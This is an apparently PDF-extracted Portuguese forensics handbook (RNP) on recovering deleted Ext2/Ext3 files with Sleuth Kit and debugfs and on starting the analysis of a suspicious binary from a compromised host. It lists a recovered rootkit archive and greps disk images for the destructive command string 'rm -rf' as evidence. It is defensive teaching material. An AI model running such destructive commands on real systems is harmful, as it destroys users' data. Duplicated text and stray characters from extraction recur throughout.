A principal dificuldade para recuperar arquivos apagados é o fato de que os dados podem ter sido sobrescritos. Além disso, as versões mais novas de alguns sistemas operacionais utilizam um tipo de sistema de arquivos conhecido como journaling file systems. Estes sistemas de arquivo têm um registro de todas as atividades realizadas no disco, permitindo uma recuperação mais rápida e segura em caso de parada não intencional do sistema. Um exemplo de sistema de arquivos com journaling utilizado pelo Linux é o Ext3.
Estrutura do sistema de arquivos O sistema de arquivos do Linux é conhecido como Extended Filesystem (Ext). Existem dois padrões: \\Ext2,
utilizado em versões mais antigas do kernel;
\\Ext3,
um sistema de arquivos com journaling e estrutura compatível com o Ext2.
A principal estrutura do Ext2 é chamada de superblock. Ela armazena as informações sobre as características do sistema de arquivos e as informações sobre posições (livres e ocupadas) do disco. O bloco de disco é a menor estrutura de armazenamento no sistema de arquivos. Ele é utilizado para armazenar o conteúdo dos arquivos.
Análise forense – Sessão de aprendizagem 5
87
Arquivos menores que o tamanho do bloco de disco desperdiçam o restante do bloco. O inode é a estrutura que armazena as informações sobre cada arquivo.
Estrutura do sistema de arquivos Cada inode armazena diversas informações sobre um arquivo: Identificação do proprietário do arquivo Tipo de arquivo (regular, diretório, dispositivos etc) Permissões de acesso Número de hard links Tamanho do arquivo Tempos de acesso/modificação/status do arquivo Tabela de conteúdo (endereços dos blocos que armazenam os dados do arquivo)
Estrutura do sistema de arquivos Ao apagar um arquivo em um sistema com Ext2, o sistema realiza as seguintes funções: O inode alocado ao arquivo é marcado como livre; Este inode é colocado na lista de inodes livres do superblock
O número de inodes livres é incrementado no superblock Os blocos de disco utilizados pelo arquivo são recolocados na lista de blocos livres O número de blocos livres é incrementado no superblock
Em nenhum momento, o conteúdo dos blocos ou do inode é apagado, o que permite a recuperação de arquivos apagados
Recuperação e análise de evidências
Podemos ver na figura que quando o tamanho de um arquivo não cabe no limite máximo de blocos que podem ser endereçados diretamente (12 blocos), um destes blocos é utilizado para endereçar indiretamente outros blocos. Este processo pode ser repetido para blocos duplamente e triplamente endereçados, permitindo arquivos com tamanhos consideráveis.
88
Escola Superior de Redes RNP
Estrutura do sistema de arquivos Ext3 é um sistema de arquivos com journaling, que mantém um registro de todas as operações de leitura e escrita em disco . O problema do Ext3 é que o sistema trata de forma diferente o processo de apagamento de um arquivo: Blocos de disco agrupados em blocos. As tabelas de inodes também são associadas a estes grupos de blocos, e os inodes nestas tabelas são localizados sempre dentro do mesmo grupo. Quando um arquivo é criado, o sistema operacional aloca um inode e blocos para este arquivo dentro do mesmo grupo de blocos do diretório pai. Ao apagar um arquivo em um sistema Ext3, o kernel do Linux zera o tamanho do arquivo e o endereço da lista de blocos no inode.
Recuperação de arquivos Para recuperar arquivos, precisamos descobrir em qual inode o arquivo procurado estava armazenado Se não for possível descobrir o inode, talvez possamos recuperar apenas parte do arquivo Podemos utilizar ferramentas para analisar o disco e encontrar as informações necessárias sobre os arquivos apagados Em último caso, podemos utilizar ferramentas como grep e strings para descobrir onde a informação procurada está armazenada
Análise forense – Sessão de aprendizagem 5
O journaling é um registro das atividades do sistema de arquivos. O sistema operacional grava esse registro antes de gravar o dado no disco, para que seja possível recuperar a estrutura do sistema de arquivos caso ocorra uma falha grave durante uma operação de escrita. Com esse registro, o sistema pode recuperar um estado anterior do disco, fixando qualquer problema causado pela falha. Além dessa característica, o Ext3 também precisou modificar o processo de remoção de um arquivo, para garantir a integridade dos dados. Por isso, ao remover um arquivo, os endereços de bloco e o tamanho do arquivo são zerados no inode.
Recuperação de arquivos Vemos aqui informações importantes sobre o sistema de arquivos, como o tamanho do bloco de dados e informações sobre a disponibilidade de inodes e blocos de dados. O primeiro passo é descobrir informações sobre o sistema de arquivos: # fsstat -f linux-ext2 /data/compromised/compromise d_hda1.img8 FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext2 Volume Name: / Volume ID: 45ba545b90872295d7113db68ac3de0b Last Written at: Wed Jan 16 21:06:57 2008 Last Checked at: Mon Jul 14 14:52:13 2003 Last Mounted at: Wed Jan 16 21:05:40 2008 … METADATA INFORMATION -------------------------------------------Inode Range: 1 - 117760 Root Directory: 2 Free Inodes: 87861 CONTENT INFORMATION -------------------------------------------Block Range: 0 - 235515 Block Size: 4096 Free Blocks: 155704
89
Recuperação de arquivos Para recuperar um arquivo que não tenha sido sobrescrito, o procedimento é o seguinte: Encontre o inode onde o arquivo estava armazenado: fls –adpr /data/compromised/compromised_hda1.img
Descubra mais informações sobre o arquivo:
istat /data/compromised/compromised_hda1.img 47147
Encontre o nome original do arquivo:
O primeiro comando lista todos os arquivos da imagem que foram removidos. Dessa forma podemos encontrar o inode do arquivo que nos interessa. Com o inode, podemos utilizar o istat para descobrir os blocos onde este arquivo está armazenado. E com o ffind, descobrir o nome original do arquivo, caso ele tenha sido realocado.
ffind -a /data/compromised/compromised_hda1.img 47147
Recupere o arquivo armazenado no inode encontrado: icat /data/compromised/compromised_hda1.img 47147 > /data/compromised/s.tgz
Recuperação de arquivos sobrescritos Para recuperar arquivos que tenham sido sobrescritos, o procedimento é diferente: Para facilitar, precisamos extrair do disco todos os blocos não alocados para nenhum arquivo: # dls –f linux-ext2 /data/compromised/compromised_hda1.img > /data/compromised/compromised_hda1.img.dls
Descubra em que posição no arquivo está localizada a informação que procura: # grep –ab "rm -rf" /data/compromised/compromised_hda1.img.dls
Finalmente, com o icat podemos recuperar completamente o arquivo original.
Recuperação de arquivos sobrescritos Caso o arquivo tenha sido sobrescrito parcialmente, o processo é um pouco diferente. Primeiramente, precisamos diminuir a região onde vamos procurar pelas partes do arquivo. Como ele foi removido, é sensato pensar que o arquivo está armazenado nos blocos não alocados do disco. Fazemos isso com o comando dls, que extrai o espaço não alocado da imagem original. A seguir, procuramos o conteúdo que nos interessa, como vimos na sessão 3.
Recuperação de arquivos sobrescritos Agora, descubra onde essa informação está localizada no disco original: # echo $((66511837/4096)) 16238 # dcalc –u 16238 /data/compromised/compromised_hda1.img 39342
Caso o bloco não esteja alocado por nenhum inode, recupere os blocos de dados que conseguir: # ifind –a –d 39342 /data/compromised/compromised_hda1.img Inode not found
Recuperação e análise de evidências
Descobrindo a posição na imagem de dados desalocados, utilizamos o dcalc para encontrar a posição na imagem original. Se o ifind não encontrar nenhum inode apontando para este bloco de disco, precisamos recuperar bloco a bloco até conseguir toda informação possível do arquivo.
90
Escola Superior de Redes RNP
Recuperação de arquivos sobrescritos Ao examinar o conteúdo do bloco, vemos que ele é parte de um arquivo TAR. Para tentar recuperar este arquivo, podemos recuperar bloco por bloco do disco até montar o arquivo completo. Primeiro, vamos analisar diversos blocos ao redor do bloco que achamos, para descobrir onde o arquivo termina: # dcat -f linux-ext2 /data/compromised/compromised_hda1.img 39341 1000
Procuramos por um texto que esteja próximo do fim do arquivo: # grep -ab './udhss -f ./s' /data/compromised/compromised_hda1.img.dls
Recuperação de arquivos sobrescritos Encontramos o bloco de disco que armazena esta informação e o número de blocos que devemos recuperar: # dcalc -u 16839 /data/compromised/compromised_hda1.img # echo $((39943-39341)) 602
Finalmente, recuperamos os blocos do arquivo:
# dcat -f linux-ext2 /data/compromised/compromised_hda1.img 39341 602 > /data/compromised/recovered.tar
Em alguns casos, é possível identificar o tipo do arquivo, e baseado na assinatura do arquivo, encontrar o início e o fim do mesmo. No nosso caso, descobrimos um arquivo TAR. Realizando uma procura nos blocos adjacentes ao bloco que achamos anteriormente, podemos encontrar o fim do arquivo, como fizemos no primeiro e segundo exemplos. Ao encontrar o bloco que armazena o fim do arquivo, como já temos o bloco que armazena o início do arquivo, podemos recuperar os blocos do arquivo completamente. Finalmente, com o comando dcat, recuperamos os blocos de que precisamos. Aqui vale lembrar de uma coisa. Normalmente, o sistema operacional tenta alocar blocos consecutivos para um arquivo. Por isso é possível recuperar um arquivo ao recuperar os blocos da forma como fizemos. Caso o arquivo esteja armazenado em blocos não consecutivos, talvez não seja possível recuperar o arquivo completo. Como vimos, é possível recuperar o arquivo quase totalmente: # tar tvf /data/compromised/recovered.tar8
Recuperação de arquivos sobrescritos # tar tvf /data/compromised/recovered.tar tar: This does not look like a tar archive tar: Skipping to next header -rwxr-xr-x hack3r/hack3r 190 2001-04-15 14:56:20 rootkit/scan/.. /xdr -rwxr-xr-x hack3r/hack3r 840 2001-04-15 14:55:58 rootkit/scan/.. /rdx -rw-r--r-- hack3r/hack3r 7108 2000-04-08 18:38:47 rootkit/scan/.. /cl.sh ... -rw------- hack3r/hack3r 307200 2001-08-03 09:41:20 rootkit/core ... -rw-r--r-- hack3r/hack3r 64 2001-11-24 10:34:07 rootkit/ess-0.8.6/install -rwxr-xr-x hack3r/hack3r 624753 2001-11-24 10:17:54 rootkit/udhss tar: Skipping to next header -rwxr-xr-x hack3r/hack3r 158 2001-11-24 16:59:35 rootkit/rula tar: Error exit delayed from previous errors
tar: This does not look like a tar archive tar: Skipping to next header -rwxr-xr-x hack3r/hack3r 190 2001-04-15 14:56:20 ro otkit/scan/.. /xdr -rwxr-xr-x hack3r/hack3r 840 2001-04-15 14:55:58 ro otkit/scan/.. /rdx -rw-r--r-- hack3r/hack3r 7108 2000-04-08 18:38:47 ro otkit/scan/.. /cl.sh ... -rw------- hack3r/hack3r 307200 2001-08-03 09:41:20 rootkit/core ... -rw-r--r-- hack3r/hack3r 64 2001-11-24 10:34:07 roo tkit/ess-0.8.6/install -rwxr-xr-x hack3r/hack3r 624753 2001-11-24 10:17:54 rootkit/udhss tar: Skipping to next header -rwxr-xr-x hack3r/hack3r 158 2001-11-24 16:59:35 ro otkit/rula tar: Error exit delayed from previous errors
Um arquivo TAR pode conter informações importantes sobre quem o criou. Neste caso, vemos o username e o grupo do usuário que criou o arquivo TAR. Além disso, observamos que o arquivo TAR contém um arquivo chamado core. Conforme examinaremos na próxima sessão, esse arquivo pode conter informações valiosas sobre o invasor. Verificamos ainda na saída do comando que o arquivo foi recuperado quase totalmente, apenas com alguns erros que foram mostrados pelo comando. Análise forense – Sessão de aprendizagem 5
91
Recuperação de arquivos journaling No Ext3, o processo para recuperar arquivos é mais difícil e muitas vezes não podemos recuperar totalmente o arquivo: A lista de blocos que apontam para o conteúdo dos arquivos é zerada quando o arquivo é removido. Vamos conhecer uma técnica para recuperar um arquivo em um sistema de arquivos Ext3. Para isso, vamos utilizar as informações gravadas no journaling do sistema de arquivos para recuperar as informações que foram apagadas do inode original.
Recuperação de arquivos journaling Vimos técnicas para recuperar arquivos em sistemas Ext2; apesar de algumas vezes ser demorado, o processo não é complexo. No Ext3, o processo para recuperar arquivos é mais difícil e muitas vezes não podemos recuperar totalmente o arquivo, porque a lista de blocos que apontam para o conteúdo dos arquivos é zerada quando o arquivo é removido. Isto faz com que não seja mais possível acessar o conteúdo do arquivo a partir das informações presentes no inode.
Vamos conhecer uma técnica para recuperar um arquivo em um sistema de arquivos Ext3. Para isso, vamos utilizar as informações gravadas no journaling do sistema de arquivos para recuperar as informações que foram apagadas do inode original.
Recuperação de arquivos journaling Quando é feita qualquer atualização no sistema de arquivos, o journaling guarda uma cópia completa do inode modificado no journal Como não queremos prejudicar nenhuma evidência na imagem que estamos utilizando, vamos realizar os exercícios a seguir no disco da máquina virtual de nossa estação forense Para isso, vamos criar um arquivo, apagá-lo do disco, e tentar recuperá-lo utilizando as informações do journal
Recuperação de arquivos journaling Criar o arquivo de exemplo e coletar informações:
# gzip -9 -c /data/compromised/compressed.files > /data/compromised/test.gz # ls -li /data/compromised/test.gz 937288 -rw-r--r-- 1 root root 5252 Jan 17 12:06 /data/compromised/test.gz # istat /dev/sda5 937288 inode: 937288 Allocated Group: 58 Generation Id: 1159893987 uid / gid: 0 / 0 mode: -rw-r--r-size: 5252 num of links: 1 Inode Times: Accessed: Thu Jan 17 12:06:12 2008 File Modified: Thu Jan 17 12:06:13 2008 Inode Modified: Thu Jan 17 12:06:13 2008 Direct Blocks: 262651 262652
Quando é feita qualquer atualização no sistema de arquivos, o journaling guarda uma cópia completa do inode modificado no journal, o que nos permite recuperar a informação original que existia em um inode, bastando recuperar a cópia do inode armazenada no journal. Como não queremos prejudicar nenhuma evidência na imagem que estamos utilizando, vamos realizar os exercícios a seguir no disco da máquina virtual de nossa estação forense. Para isso, vamos criar um arquivo, apagá-lo do disco, e tentar recuperá-lo utilizando as informações do journal. Atenção: como este exercício vai ser feito no disco que o aluno está utilizando para realizar todos os exercícios, possivelmente os valores de inode e blocos estarão diferentes dos que o aluno encontrará em sua máquina. Basta que o aluno adapte os valores de inodes e blocos de dados mostrados aqui para os encontrados em sua máquina. Inicialmente, vamos criar o arquivo que usaremos como exemplo, e coletar algumas informações sobre o mesmo antes de apagar, para compará-las depois: # gzip -9 -c /data/compromised/compressed.files > /d ata/compromised/test.gz8 # ls -li /data/compromised/test.gz8 937288 -rw-r--r-- 1 root root 5252 Jan 17 12:06 / data/compromised/test.gz
# istat /dev/sda5 9372888
Recuperação e análise de evidências
92
Escola Superior de Redes RNP inode: 937288 Allocated Group: 58 Generation Id: 1159893987 uid / gid: 0 / 0 mode: -rw-r--r-size: 5252 num of links: 1 Inode Times: Accessed: Thu Jan 17 12:06:12 2008 File Modified: Thu Jan 17 12:06:13 2008 Inode Modified: Thu Jan 17 12:06:13 2008 Direct Blocks: 262651 262652
Aqui apenas criamos o arquivo que usaremos como exemplo, e mostramos com ls –li e istat algumas informações sobre o arquivo e o inode onde ele está armazenado, para compararmos posteriormente com o resultado obtido.
Recuperação de arquivos journaling Com istat descobrimos as datas de modificação e criação e os blocos onde o arquivo está armazenado: # rm -f /data/compromised/test.gz # ls -li /data/compromised/*.gz ls: /data/compromised/*.gz: No such file or directory # istat /dev/sda5 937288 inode: 937288 Not Allocated Group: 58 Generation Id: 1159893987 uid / gid: 0 / 0 mode: -rw-r--r-size: 0 num of links: 0 Inode Times: Accessed: Thu Jan 17 12:06:12 2008 File Modified: Thu Jan 17 12:09:54 2008 Inode Modified: Thu Jan 17 12:09:54 2008 Deleted: Thu Jan 17 12:09:54 2008 Direct Blocks:
Finalmente com o istat descobrimos mais dados sobre o inode, tal como as datas de modificação e criação, além dos blocos onde o arquivo está armazenado: # rm -f /data/compromised/test.gz8 # ls -li /data/compromised/*.gz8 ls: /data/compromised/*.gz: No such file or directory # istat /dev/sda5 9372888 inode: 937288 Not Allocated Group: 58 Generation Id: 1159893987 uid / gid: 0 / 0 mode: -rw-r--r-size: 0 num of links: 0 Inode Times: Accessed: Thu Jan 17 12:06:12 2008 File Modified: Thu Jan 17 12:09:54 2008 Inode Modified: Thu Jan 17 12:09:54 2008 Deleted: Thu Jan 17 12:09:54 2008 Direct Blocks:
Removemos o arquivo e listamos informações do inode, mostrando que este não está mais alocado, e que não temos mais o tamanho e a lista de blocos onde o arquivo foi armazenado. Além disso, temos uma nova informação: a data de remoção do arquivo.
Análise forense – Sessão de aprendizagem 5
93
Recuperação de arquivos journaling Utilizar as informações presentes no journal do sistema de arquivos para tentar recuperar a lista de blocos original do inode. Quando o arquivo foi removido, uma cópia do inode original foi copiada para o journal antes que as informações fossem zeradas. Se conseguirmos recuperar essa informação, poderemos recuperar o arquivo original. Ferramenta debugfs permite acessar o sistema de arquivos diretamente.
Quando precisamos recuperar uma evidência do disco, podemos utilizar as informações presentes no journal do sistema de arquivos para tentar recuperar a lista de blocos original do inode. Lembre-se: ao remover o arquivo, uma cópia do inode original foi copiada para o journal antes que as informações fossem zeradas. Se conseguirmos recuperar essa informação, poderemos recuperar o arquivo original. Para realizar essa operação, vamos conhecer uma nova ferramenta, chamada debugfs. Esta ferramenta, presente em praticamente qualquer distribuição Linux, permite acessar diretamente o sistema de arquivos.
O debugfs funciona tanto com o Ext2 quanto com o Ext3 e tem a capacidade de acessar as informações do journal do sistema de arquivos. É uma ferramenta presente no pacote E2fsprogs, que normalmente é instalado com qualquer distribuição Linux, ou seja, está presente em praticamente qualquer Linux. Entretanto, só pode ser utilizado para Ext2 ou Ext3. Existem outras versões para sistemas específicos, como o debugfs-reiser4 para ReiserFS. Vamos utilizar o debugfs, pois ele tem a capacidade de listar as informações presentes no journal do sistema de arquivos.
Recuperação de arquivos journaling # debugfs /dev/sda5 debugfs 1.39-WIP (10-Dec-2005) debugfs: logdump -i Inode 937288 is at group 58, block 1900546, offset 896 Journal starts at block 1, transaction 116 … FS block 1900546 logged at sequence 1143, journal block 6560 (inode block for inode 937288): Inode: 937288 Type: regular Mode: 0644 Flags: 0x0 User: 0 Group: 0 Size: 5252 … ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008 atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008 mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008 Blocks: (0+2): 262651 FS block 1900546 logged at sequence 1145, journal block 6570 (inode block for inode 937288): Inode: 937288 Type: regular Mode: 0644 Flags: 0x0 User: 0 Group: 0 Size: 0 … ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008 mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 Blocks: No magic number at block 6578: end of journal.
Recuperação e análise de evidências
Generation: 1159893987
Generation: 1159893987
# debugfs /dev/sda58 debugfs 1.39-WIP (10-Dec-2005) debugfs: logdump -i Inode 937288 is at group 58, block 1900546, offset 896 Journal starts at block 1, transaction 116 … FS block 1900546 logged at sequence 1143, journal block 6560 (inode block for inode 937288): Inode: 937288 Type: regular Mode: 0644 Flags: 0x0 Generation: 1159893987 User: 0 Group: 0 Size: 5252 … ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008 atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008 mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008 Blocks: (0+2): 262651 FS block 1900546 logged at sequence 1145, journal block 6570 (inode block for inode 937288): Inode: 937288 Type: regular Mode: 0644 Flags: 0x0 Generation: 1159893987 User: 0 Group: 0 Size: 0 … ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008 mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 Blocks: No magic number at block 6578: end of journal.
94
Escola Superior de Redes RNP
Vemos aqui a execução do comando. O debugfs abre um prompt onde podemos digitar comandos para acessar diretamente o dispositivo analisado. É importante notar que a saída do comando logdump -i pode ser bem longa, dependendo da atividade do inode pesquisado. O importante é procurar a informação mais próxima do timestamp encontrado no inode do arquivo visto anteriormente com o comando istat. No nosso caso, vemos dois registros importantes: o último é o registro do arquivo removido; podemos verificar na cópia do inode que ele contém a data de remoção igual a que vimos anteriormente. O penúltimo registro é uma cópia do inode original do arquivo, com o tamanho e a lista de blocos onde o arquivo foi armazenado. Caso existissem blocos endereçados indiretamente, o processo ficaria mais complicado, mas seguiria o mesmo padrão. Com a lista de blocos, podemos recuperar o conteúdo do arquivo.
Recuperação de arquivos journaling Utilizar comandos para recuperar os blocos de dados: # dcat /dev/sda5 262651 2 > /tmp/recover.gz # file /tmp/recover.gz /tmp/recover.gz: gzip compressed data, was "compressed.files", from Unix, max compression
Como agora temos a informação que queremos, basta utilizar os comandos que vimos anteriormente para recuperar os blocos de dados: # dcat /dev/sda5 262651 2 > /tmp/recover.gz8 # file /tmp/recover.gz8
# ls -l /tmp/recover.gz
/tmp/recover.gz: gzip compressed data, was “compres sed.files”, from Unix, max compression
-rw-r--r-- 1 root root 8192 Jan 17 12:26 /tmp/recover.gz
# ls -l /tmp/recover.gz8 -rw-r--r-- 1 root root 8192 Jan 17 12:26 /tmp/recov er.gz
Aqui vemos como recuperar o conteúdo do arquivo, e como utilizar o dd para separar os bytes que precisamos dos dados lidos pelo dcat. Isto é feito porque o dcat lê somente blocos inteiros, no nosso caso com 4096 bytes. Como podemos ler dois blocos e nosso arquivo só deveria ter 5252 bytes, há um espaço extra no fim do segundo bloco que precisamos retirar, o que pode ser feito com o comando dd.
Análise forense – Sessão de aprendizagem 5
95
Recuperação de arquivos journaling O arquivo recuperado contém 8192 bytes e não o tamanho original de 5252 bytes O arquivo original pode ser recuperado com dd: # dd if=/tmp/recover.gz of=/tmp/test_recovered.gz bs=1 count=5252 5252+0 records in 5252+0 records out 5252 bytes (5.3 kB) copied, 0.034853 seconds, 151 kB/s # gzip -l -t /tmp/test_recovered.gz compressed uncompressed ratio uncompressed_name 5252 18067 71.1% /tmp/test_recovered
Observe que o arquivo recuperado contém 8192 bytes, em vez de 5252 bytes, que é o tamanho do arquivo original. Isto acontece pois o dcat apenas copia blocos inteiros. Como sabemos o tamanho original do arquivo, podemos recuperar o arquivo original utilizando o comando dd: # dd if=/tmp/recover.gz of=/tmp/test_recovered.gz b s=1 count=52528 5252+0 records in 5252+0 records out 5252 bytes (5.3 kB) copied, 0.034853 seconds, 151 k B/s # gzip -l -t /tmp/test_recovered.gz8 compressed uncompressed ratio uncompressed_name 5252 18067 71.1% /tmp/test_recovered
Conclusões Algumas vezes não é possível encontrar no disco as evidências necessárias para comprovar o caso de invasão As evidências podem ter sido apagadas ou sobrescritas Mesmo assim, existem ferramentas para recuperar estes dados Aprendemos também um pouco mais sobre a estrutura dos sistemas de arquivos do Linux, e também como recuperar arquivos em um sistema com journaling como o Ext3
Recuperação e análise de evidências
Conclusões
Escola Superior de Redes RNP
Análise forense – Sessão de aprendizagem 5
96
5 Sessão de aprendizagem 5 Recuperação e análise de evidências Roteiro de atividades Tópicos e conceitos \\Procurar
por evidências no sistema de arquivos e ferramentas necessárias na
internet.
Competências técnicas desenvolvidas \\Identificar
os eventos de um sistema comprometido e buscar as ferramentas necessárias para a investigação.
Outras competências desenvolvidas \\Capacidade
de investigação e pesquisa do aluno.
Tempo previsto para as atividades \\90-120
minutos
Escola Superior de Redes RNP
98
Atividade 1 – Rastreando eventos 1. Um dos objetivos da análise forense é tentar descobrir quando foram realizadas ações na máquina invadida. No sistema que usamos como exemplo, os arquivos de log foram removidos, dificultando a identificação de informações sobre a invasão. Utilizando as ferramentas do pacote forense, tente recuperar todos os arquivos apagados do diretório /var/log da máquina comprometida. Depois, faça um breve relatório sobre o conteúdo de cada arquivo. Você saberia dizer por que alguns deles não se parecem com arquivos de log? A atividade deve ser feita em dupla. 2. Mesmo conseguindo recuperar alguns arquivos de log no exercício anterior, ainda existem informações importantes que não foram recuperadas. No disco ainda existem partes dos arquivos de log de e-mail e do servidor web. Juntamente com um colega, procure na internet informações sobre o formato desses logs, e utilize-as para procurar em disco por partes importantes destes logs. Utilize para isso os comandos grep, strings e dcat. A pesquisa deve ser feita em dupla. 3. Crie fichas de identificação para as evidências encontradas nos dois exercícios anteriores, conforme mostrado na sessão anterior. Para os arquivos que não foram recuperados totalmente, a evidência que deve ser cadastrada são os inodes onde foram encontrados.
Atividade 2 – Buscando ferramentas na internet 1. Como vimos durante a sessão, arquivos apagados em uma partição Ext3 são difíceis de recuperar. Muitas vezes, realizar o serviço manualmente não é viável. Procure na internet por ferramentas que realizem a recuperação de arquivos em sistemas Ext3, e faça um breve relatório sobre as características de cada ferramenta.
Análise forense – Sessão de aprendizagem 5
6 Sessão de aprendizagem 6 Recuperação e análise de evidências (parte 2) Sumário da sessão Recuperação e análise de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 Análise de executáveis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 Análise do código. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104 Análise de core dump. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107 Slack space. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108 Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113 Atividade 1 – Análise do conteúdo do arquivo. . . . . . . . . . . . . . . . . . . . . . . . . 114 Atividade 2 – Busca de ferramentas na internet . . . . . . . . . . . . . . . . . . . . . . . 114
100
Escola Superior de Redes RNP
Recuperação e análise de evidências Arquivos, partes de logs, timestamps ou ferramentas podem comprovar atividades realizadas pelo invasor. Muitas vezes estas evidências não são suficientes para obter uma imagem completa das atividades do invasor. Outras vezes, a quantidade reduzida de evidências coletadas impede a montagem de uma seqüência lógica de eventos. Aprenderemos a analisar evidências em arquivos de core dump e a examinar arquivos binários. Descobriremos como os invasores utilizam os espaços desperdiçados no fim dos blocos de dados para ocultar evidências.
Recuperação e análise de evidências Durante a investigação é comum encontrar arquivos, partes de logs, timestamps ou ferramentas que comprovam atividades realizadas pelo invasor. Mesmo assim, muitas vezes não conseguimos ter uma imagem completa das atividades do invasor somente com estas evidências. Outras vezes, a quantidade de evidências encontradas é tão pequena que ficam faltando dados suficientes para a montagem de uma seqüência lógica de eventos. É importante que o investigador tenha pelo menos o conhecimento básico para realizar uma análise mais aprofundada em determinadas evidências.
Aprenderemos a analisar evidências em arquivos de core dump, a examinar arquivos binários, e descobriremos como os invasores utilizam os espaços desperdiçados no fim dos blocos de dados para ocultar evidências.
Análise de executáveis
Análise de executáveis Regras durante uma análise de executáveis: Jamais execute o programa em sua estação forense; utilize uma máquina separada e isolada exclusivamente para isso A máquina de análise não deve estar conectada na internet Inicie a análise com ferramentas mais simples, como file, strings e ldd Somente após coletar todas as informações possíveis com estas ferramentas é que deve ser feita uma engenharia reversa do código Em último caso deve-se executar o programa em um ambiente controlado e isolado da rede Jamais confie em um programa suspeito
\\Inicie
Algumas regras a serem seguidas durante uma análise de executáveis: \\Jamais
execute o programa em sua estação forense; utilize uma máquina separada e isolada exclusivamente para isso;
\\A
máquina de análise não deve estar conectada na internet; conecte-a a outra máquina através de um hub ou cabo cross-over, para o caso do programa tentar conectar-se à rede. Deste modo você poderá monitorar a atividade;
a análise com ferramentas mais simples, como file, strings e ldd;
\\Somente
após coletar todas as informações possíveis com estas ferramentas é que deve ser feita uma engenharia reversa do código;
\\Em
último caso, se for realmente necessário, deve-se executar o programa em um ambiente controlado e isolado da rede. Jamais confie em um programa suspeito.
É importante deixar claro que nunca se deve executar programa desconhecido em um ambiente conectado à rede. Mesmo que o binário pareça inofensivo, pode conter código malicioso escondido que poderia comprometer a máquina ou outros computadores da rede.
Análise forense – Sessão de aprendizagem 6
101
# find /mnt/image/ -anewer /mnt/image/dev/hdx1 -ls8
Análise de executáveis Vamos usar como exemplo um arquivo que foi encontrado em uma sessão anterior: # find /mnt/image/ -anewer /mnt/image/dev/hdx1 -ls ... 92030 664 -rwxr-xr-x 1 root root 672527 Sep 4 2002 /mnt/image/usr/bin/smbd\ -D
... 92030 664 -rwxr-xr-x 1 root root 672527 Sep 4 2002 /mnt/image/usr/bin/smbd\ -D
O comando find acima foi visto anteriormente, e continha a referência ao arquivo que vamos usar como exemplo. O comando istat mostra as datas de acesso e modificação do inode, que confirmam que o arquivo foi criado aproximadamente no horário em que estava ocorrendo a invasão. A data de modificação do arquivo (isto é, do conteúdo do arquivo) é antiga, pois o arquivo provavelmente foi extraído de um arquivo TAR que mantém a data de modificação original. O arquivo é suspeito, pois foi criado no período em que ocorreu a invasão:
Análise de executáveis Arquivo suspeito criado no período da invasão: # istat /data/compromised/compromised_hda1.img 92030 inode: 92030 uid / gid: 0 / 0 mode: -rwxr-xr-x size: 672527 Accessed: Sun Aug 10 16:54:18 2003 File Modified: Wed Sep 4 00:54:10 2002 Inode Modified: Sun Aug 10 14:33:33 2003
# istat /data/compromised/compromised_hda1.img 920308 inode: 92030 uid / gid: 0 / 0 mode: -rwxr-xr-x size: 672527 Accessed: Sun Aug 10 16:54:18 2003 File Modified: Wed Sep 4 00:54:10 2002 Inode Modified: Sun Aug 10 14:33:33 2003
# file /mnt/image/usr/bin/smbd\ -D8
Análise de executáveis Comece a procurar pelas informações mais fáceis: # file /mnt/image/usr/bin/smbd\ -D /mnt/image/usr/bin/smbd -D: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), not stripped # cp /mnt/image/usr/bin/smbd\ -D ‘/data/compromised/smbd – D’ # ldd /data/compromised/smbd\ -D linux-gate.so.1 => (0xffffe000) libnsl.so.1 => /lib/tls/libnsl.so.1 (0xb7f42000) libcrypt.so.1 => /lib/tls/libcrypt.so.1 (0xb7f14000) libutil.so.1 => /lib/tls/libutil.so.1 (0xb7f0f000) libc.so.6 => /lib/tls/libc.so.6 (0xb7ddd000)
/mnt/image/usr/bin/smbd -D: ELF 32-bit LSB executa ble, Intel 80386, version 1 (SYSV), for GNU/Linux 2 .0.0, dynamically linked (uses shared libs), not st ripped # cp /mnt/image/usr/bin/smbd\ -D ‘/data/compromised /smbd –D’8 # ldd /data/compromised/smbd\ -D8 linux-gate.so.1 => (0xffffe000) libnsl.so.1 => /lib/tls/libnsl.so.1 (0xb7f42000) libcrypt.so.1 => /lib/tls/libcrypt.so.1 (0xb7f14000) libutil.so.1 => /lib/tls/libutil.so.1 (0xb7f0f000) libc.so.6 => /lib/tls/libc.so.6 (0xb7ddd000)
Pelo comando file vemos que o arquivo não teve os símbolos removidos, o que pode auxiliar na análise. Trata-se de um executável para Linux ligado dinamicamente a bibliotecas locais. Vemos pelo resultado do comando ldd que o executável smbd utiliza funções da biblioteca de criptografia do sistema.
Recuperação e análise de evidências (parte 2)
102
Escola Superior de Redes RNP
Uma procura por strings dentro do executável pode fornecer informações muito úteis:
